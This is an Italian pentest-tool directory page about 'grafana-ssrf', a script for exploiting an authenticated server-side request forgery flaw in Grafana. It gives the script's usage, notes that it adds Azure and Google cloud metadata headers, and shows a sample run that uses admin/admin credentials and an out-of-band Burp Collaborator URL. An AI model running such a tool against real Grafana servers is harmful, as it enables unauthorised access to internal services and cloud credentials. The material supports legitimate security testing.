Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
grafana-ssrf — Authenticated SSRF in Grafana | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/grafana-ssrf
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCloud SecurityRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

Authenticated SSRF in Grafana

Vedi Repository
83272 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

grafana-ssrf

SSRF autenticato in Grafana.

Note

  • L'header dei metadati di Azure è stato aggiunto a tutte le SSRF
  • L'header dei metadati di Google è stato aggiunto a tutte le SSRF
  • La SSRF non seguirà i redirect in nessun caso, quindi assicurati che l'URL sia diretto.
  • Se il login avviene tramite SSO o altri login non Grafana, per favore recupera il tuo cookie di sessione e usa il flag -s

Utilizzo

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Esempio

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wk14pi2nxvzjigz</body></html>
Deleted Old SSRF Source

Non dimenticare di dare un'occhiata alle nostre posizioni aperte!

https://bishopfox.com/jobs#open-positions - Vieni a unirti alle volpi!

Scarica lo strumento